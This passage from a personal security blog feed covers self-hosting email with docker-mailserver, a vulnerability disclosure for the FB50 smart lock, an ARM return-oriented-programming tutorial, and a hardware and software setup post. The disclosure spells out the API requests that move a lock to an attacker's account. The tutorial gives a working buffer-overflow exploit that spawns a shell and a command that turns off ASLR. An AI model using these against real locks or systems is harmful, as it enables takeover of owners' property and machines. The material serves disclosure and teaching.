1942confusing Dovecot & Postfix were to configure and hence I decided to look
1943for a containerized solution, that most importantly, runs on my cheap $5
1944Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
1945is actually available. So yeah, <em>pretty</em> tight.</p>
1946
1947<h2 id="whats-available">What’s available</h2>
1948
1949<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
1950These are the ones I came across:</p>
1951
1952<ul>
1953<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
1954and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
1955<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
1956but ships with a web UI that I didn’t need. </p></li>
1957<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
1958they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
1959<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
1960a mention. It however, needs a fresh box to work with. A box with absolutely
1961nothing else on it. I can’t afford to do that.</p></li>
1962<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
1963</ul>
1964
1965<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
1966
1967<p>The first thing that caught my eye in the README:</p>
1968
1969<blockquote>
1970 <p>Recommended:</p>
1971
1972 <ul>
1973 <li>1 CPU</li>
1974 <li>1GB RAM</li>
1975 </ul>
1976
1977 <p>Minimum:</p>
1978
1979 <ul>
1980 <li>1 CPU</li>
1981 <li>512MB RAM</li>
1982 </ul>
1983</blockquote>
1984
1985<p>Fantastic, I can somehow squeeze this into my existing VPS.
1986Setup was fairly simple & the docs are pretty good. It employs a single
1987<code>.env</code> file for configuration, which is great.
1988However, I did run into a couple of hiccups here and there.</p>
1989
1990<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
1991of memory.</p>
1992
1993<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
1994</code></pre>
1995
1996<p>But it eventually worked after a couple of attempts.</p>
1997
1998<p>The next thing I struggled with — DNS. Specifically, the with the step where
1999the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
2000<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
2001isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
2002a <code>TXT</code> record. </p>
2003
2004<p>This is what it looks like.</p>
2005
2006<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
2007 "p=<key>"
2008 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
2009</code></pre>
2010
2011<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
2012and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
2013Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
2014
2015<p>To simplify debugging DNS issues later, it’s probably a good idea to
2016point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
2017<code>A</code> record.
2018You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
2019uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
2020And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
2021your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
2022I learnt this part the hard way, when my outgoing email kept getting
2023rejected by Tutanota’s servers.</p>
2024
2025<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
2026documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
2027and look at an example. In short, install <code>certbot</code>, have port 80 free,
2028and run </p>
2029
2030<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
2031</code></pre></div>
2032
2033<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
2034the container, something like so:</p>
2035
2036<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
2037
2038<span class="nt">volumes</span><span class="p">:</span>
2039 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
2040 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
2041 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
2042 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
2043
2044<span class="nn">...</span>
2045</code></pre></div>
2046
2047<p>With this done, you shouldn’t have mail clients complaining about
2048wonky certs for which you’ll have to add an exception manually.</p>
2049
2050<h2 id="why-would-you">Why would you…?</h2>
2051
2052<p>There are a few good reasons for this:</p>
2053
2054<h3 id="privacy">Privacy</h3>
2055
2056<p>No really, this is <em>the</em> best choice for truly private
2057email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
2058dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
2059
2060<blockquote>
2061 <p>Truly secure systems do not require you to trust the service provider.</p>
2062</blockquote>
2063
2064<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
2065how can you really be sure that it isn’t a backdoored version of it?</p>
2066
2067<p>When you host your own mailserver, you truly own your email without having to rely on any
2068third-party.
2069This isn’t an attempt to spread FUD. In the end, it all depends on your
2070threat model™.</p>
2071
2072<h3 id="decentralization">Decentralization</h3>
2073
2074<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
2075active users. That’s obscene.
2076Email was designed to be decentralized but big corps swooped in and
2077made it a product. They now control your data, and it isn’t unknown that
2078Google reads your mail. This again loops back to my previous point, privacy.
2079Decentralization guarantees privacy. When you control your mail, you subsequently
2080control who reads it.</p>
2081
2082<h3 id="personalization">Personalization</h3>
2083
2084<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
2085
2086<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
2087
2088<p>Pfft, this is no competition.</p>
2089
2090<div class="footnotes">
2091<hr />
2092<ol>
2093<li id="fn-1">
2094<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2095</li>
2096
2097<li id="fn-2">
2098<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2099</li>
2100
2101<li id="fn-3">
2102<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
2103</li>
2104</ol>
2105</div>
2106]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
2107
2108<h2 id="the-lock">The lock</h2>
2109
2110<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
2111Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
2112across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
2113
2114<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
2115the Play/App Store to function. The app requires the user to create an
2116account before further functionality is available.
2117It also facilitates configuring the fingerprint,
2118and unlocking from a range via Bluetooth.</p>
2119
2120<p>We had two primary attack surfaces we decided to tackle—Bluetooth (BLE)
2121and the Android app.</p>
2122
2123<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
2124
2125<p>Android phones have the ability to capture Bluetooth (HCI) traffic
2126which can be enabled under Developer Options under Settings. We made
2127around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
2128
2129<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
2130
2131<p>This is the value sent in the <code>Write</code> request:</p>
2132
2133<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
2134
2135<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
2136but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
2137
2138<h2 id="via-the-android-app">Via the Android app</h2>
2139
2140<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
2141far since most of it was obfuscated. Why bother when there exists an
2142easier approach—BurpSuite.</p>
2143
2144<p>We captured and played around with a bunch of requests and responses,
2145and finally arrived at a working exploit chain.</p>
2146
2147<h2 id="the-exploit">The exploit</h2>
2148
2149<p>The entire exploit is a 4 step process consisting of authenticated
2150HTTP requests:</p>
2151
2152<ol>
2153<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
2154vicinity), get the barcode and lock ID</li>
2155<li>Using the barcode, fetch the user ID</li>
2156<li>Using the lock ID and user ID, unbind the user from the lock</li>
2157<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
2158to the lock</li>
2159</ol>
2160
2161<p>This is what it looks like, in essence (personal info redacted).</p>
2162
2163<h3 id="request-1">Request 1</h3>
2164
2165<pre><code>POST /oklock/lock/queryDevice
2166{"mac":"XX:XX:XX:XX:XX:XX"}
2167</code></pre>
2168
2169<p>Response:</p>
2170
2171<pre><code>{
2172 "result":{
2173 "alarm":0,
2174 "barcode":"<BARCODE>",
2175 "chipType":"1",
2176 "createAt":"2019-05-14 09:32:23.0",
2177 "deviceId":"",
2178 "electricity":"95",
2179 "firmwareVersion":"2.3",
2180 "gsmVersion":"",
2181 "id":<LOCK ID>,
2182 "isLock":0,
2183 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
2184 "lockPwd":"000000",
2185 "mac":"XX:XX:XX:XX:XX:XX",
2186 "name":"lock",
2187 "radioName":"BlueFPL",
2188 "type":0
2189 },
2190 "status":"2000"
2191}
2192</code></pre>
2193
2194<h3 id="request-2">Request 2</h3>
2195
2196<pre><code>POST /oklock/lock/getDeviceInfo
2197
2198{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
2199</code></pre>
2200
2201<p>Response:</p>
2202
2203<pre><code> "result":{
2204 "account":"email@some.website",
2205 "alarm":0,
2206 "barcode":"<BARCODE>",
2207 "chipType":"1",
2208 "createAt":"2019-05-14 09:32:23.0",
2209 "deviceId":"",
2210 "electricity":"95",
2211 "firmwareVersion":"2.3",
2212 "gsmVersion":"",
2213 "id":<LOCK ID>,
2214 "isLock":0,
2215 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
2216 "lockPwd":"000000",
2217 "mac":"XX:XX:XX:XX:XX:XX",
2218 "name":"lock",
2219 "radioName":"BlueFPL",
2220 "type":0,
2221 "userId":<USER ID>
2222 }
2223</code></pre>
2224
2225<h3 id="request-3">Request 3</h3>
2226
2227<pre><code>POST /oklock/lock/unbind
2228
2229{"lockId":"<LOCK ID>","userId":<USER ID>}
2230</code></pre>
2231
2232<h3 id="request-4">Request 4</h3>
2233
2234<pre><code>POST /oklock/lock/bind
2235
2236{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
2237</code></pre>
2238
2239<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
2240
2241<p>You should have the lock transferred to your account. The severity of this
2242issue lies in the fact that the original owner completely loses access to
2243their lock. They can’t even “rebind” to get it back, since the current owner
2244(the attacker) needs to authorize that. </p>
2245
2246<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
2247Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
2248“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
2249
2250<p><em>shudders</em></p>
2251
2252<h2 id="proof-of-concept">Proof of Concept</h2>
2253
2254<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
2255
2256<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
2257
2258<h2 id="disclosure-timeline">Disclosure timeline</h2>
2259
2260<ul>
2261<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
2262<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
2263<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
2264<li>No response from vendor</li>
2265<li><strong>2nd August 2019</strong>: Public disclosure</li>
2266</ul>
2267
2268<h2 id="lessons-learnt">Lessons learnt</h2>
2269
2270<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
2271with keys. With the IoT plague spreading, it brings in a large attack surface
2272to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
2273
2274<p>The IoT security scene is rife with bugs from over 10 years ago, like
2275executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
2276practices in general.</p>
2277
2278<p>Our existing threat models and scenarios have to be updated to factor
2279in these new exploitation possibilities. This also broadens the playing
2280field for cyber warfare and mass surveillance campaigns. </p>
2281
2282<h2 id="researcher-info">Researcher info</h2>
2283
2284<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
2285
2286<ul>
2287<li>Anirudh Oppiliappan (me)</li>
2288<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
2289<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
2290</ul>
2291
2292<div class="footnotes">
2293<hr />
2294<ol>
2295<li id="fn-1">
2296<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2297</li>
2298
2299<li id="fn-2">
2300<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2301</li>
2302
2303<li id="fn-3">
2304<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
2305</li>
2306</ol>
2307</div>
2308]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
2309assembly to follow along. I highly recommend
2310<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
2311Basics</a>. Once you’re
2312comfortable with it, proceed with the next bit—environment setup.</p>
2313
2314<h2 id="setup">Setup</h2>
2315
2316<p>Since we’re working with the ARM architecture, there are two options to go
2317forth with: </p>
2318
2319<ol>
2320<li>Emulate—head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
2321And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
2322The scripts found inside should be self-explanatory.</li>
2323<li>Use actual ARM hardware, like an RPi.</li>
2324</ol>
2325
2326<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
2327may use <code>radare2</code>, IDA or anything else, really. All of which can be
2328trivially installed.</p>
2329
2330<p>And for the sake of simplicity, disable ASLR:</p>
2331
2332<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
2333</code></pre></div>
2334
2335<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
2336<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
2337
2338<p>Compile it:</p>
2339
2340<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
2341</code></pre></div>
2342
2343<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
2344
2345<h2 id="a-primer-on-rop">A primer on ROP</h2>
2346
2347<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
2348used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
2349In essence, no code in the binary is actually modified and the entire exploit
2350is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
2351
2352<p>A gadget is essentially a small sequence of code (instructions), ending with
2353a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
2354code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
2355These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
2356to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
2357there’s generally a call to <code>system()</code>, to acheive code execution.</p>
2358
2359<p>In practice, the process of executing a ropchain is something like this:</p>
2360
2361<ul>
2362<li>confirm the existence of a stack-based buffer overflow</li>
2363<li>identify the offset at which the instruction pointer gets overwritten</li>
2364<li>locate the addresses of the gadgets you wish to use</li>
2365<li>craft your input keeping in mind the stack’s layout, and chain the addresses
2366of your gadgets</li>
2367</ul>
2368
2369<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
2370Check it out, it might be just what you needed for that “aha!” moment :)</p>
2371
2372<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
2373that should put things into perspective.</p>
2374
2375<h2 id="exploring-our-binary">Exploring our binary</h2>
2376
2377<p>Start by running it, and entering any arbitrary string. On entering a fairly
2378large string, say, “A” × 20, we
2379see a segmentation fault occur.</p>
2380
2381<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
2382
2383<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
2384
2385<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
2386
2387<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
2388<code>gadget</code>. Disassembling the <code>main</code> function:</p>
2389
2390<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
2391
2392<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
2393to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
2394never actually called.</p>
2395
2396<p>Disassembling the <code>gadget</code> function:</p>
2397
2398<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
2399
2400<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
2401which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
2402instruction in the middle. This is a <strong>gadget</strong>.</p>
2403
2404<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
2405arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
2406are used for this. So this gadget effectively allows us to pass arguments to
2407functions using <code>r0</code>, and subsequently jumping to them by passing its address
2408in <code>pc</code>. Neat.</p>
2409
2410<p>Moving on to the disassembly of the <code>winner</code> function:</p>
2411
2412<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
2413
2414<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
2415So our end goal here is to, quite obviously, execute code via the <code>system()</code>
2416function.</p>
2417
2418<p>Now that we have an overview of what’s in the binary, let’s formulate a method
2419of exploitation by messing around with inputs.</p>
2420
2421<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
2422
2423<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
2424screenshot.</p>
2425
2426<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
2427
2428<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
2429the <code>pc</code> has been overwritten with our input.
2430So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
2431
2432<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
2433control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
2434
2435<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
2436of the second instruction—<code>add r11, sp, #4</code>.
2437For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
2438the address of <code>winner</code>. Note the endianness.</p>
2439
2440<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
2441</code></pre></div>
2442
2443<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
2444
2445<p>The reason we don’t jump to the first instruction is because we want to control the stack
2446ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
2447those out after <code>winner</code> is done executing and we will no longer control
2448where it jumps to.</p>
2449
2450<p>So that didn’t do much, just prints out a string “Nothing much here…”.
2451But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
2452to do what we want (run a command, execute a shell, etc.).</p>
2453
2454<p>To do that, we’ll follow a multi-step process: </p>
2455
2456<ol>
2457<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
2458<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
2459<code>r0</code>.</li>
2460<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
2461</ol>
2462
2463<p>The pseudo-code is something like this:</p>
2464
2465<pre><code>string = AAAABBBBCCCCDDDDEEEE
2466gadget = # addr of gadget
2467binsh = # addr of /bin/sh
2468system = # addr of system()
2469
2470print(string + gadget + binsh + system)
2471</code></pre>
2472
2473<p>Clean and mean.</p>
2474
2475<h2 id="the-exploit">The exploit</h2>
2476
2477<p>To write the exploit, we’ll use Python and the absolute godsend of a library—<code>struct</code>.
2478It allows us to pack the bytes of addresses to the endianness of our choice.
2479It probably does a lot more, but who cares.</p>
2480
2481<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
2482at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
2483
2484<pre><code>(gdb) find &system, +9999999, "/bin/sh"
2485</code></pre>
2486
2487<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
2488
2489<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
2490found from the disassmblies from earlier. Here’s the final exploit code:</p>
2491
2492<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
2493
2494<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
2495<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
2496<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
2497<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
2498
2499<span class="nb">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
2500</code></pre></div>
2501
2502<p>Honestly, not too far off from our pseudo-code :)</p>
2503
2504<p>Let’s see it in action:</p>
2505
2506<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
2507
2508<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
2509when the pipe closes, since there’s no input coming in from STDIN.
2510To get around this, we use <code>cat(1)</code> which allows us to relay input through it
2511to the shell. Nifty trick.</p>
2512
2513<h2 id="conclusion">Conclusion</h2>
2514
2515<p>This was a fairly basic challenge, with everything laid out conveniently.
2516Actual ropchaining is a little more involved, with a lot more gadgets to be chained
2517to acheive code execution.</p>
2518
2519<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
2520]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
2521
2522<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
25238 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
2524
2525<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
2526I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
2527
2528<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
2529
2530<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
2531For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
2532
2533<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
2534Great pair of headphones, although the ear cups need replacing.</p>
2535
2536<h2 id="and-the-software">And the software</h2>
2537
2538<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
2539window manager, all riced. I now use whatever JustWorks™.</del></p>
2540
2541<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
2542running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
2543
2544<p>Here’s a (riced) screenshot of my desktop. </p>
2545
2546<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
2547
2548<p>Most of my work is done in either the browser, or the terminal.
2549My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
2550a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>—<a href="https://github.com/icyphox/nicy">nicy</a>.
2551My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
2552I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
2553
2554<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
2555clean and a single command to drop into a Kali shell.</p>
2556
2557<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
2558The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
2559
2560<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
2561]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
2562
2563<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
2564
2565<h2 id="setup">Setup</h2>
2566
2567<p>As the title suggests, you’re going to need a Python 3 interpreter before
2568anything else. Once you’ve confirmed beyond reasonable doubt that you do,
2569in fact, have a Python 3 interpreter installed on your system, run</p>
2570
2571<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
2572</code></pre></div>
2573
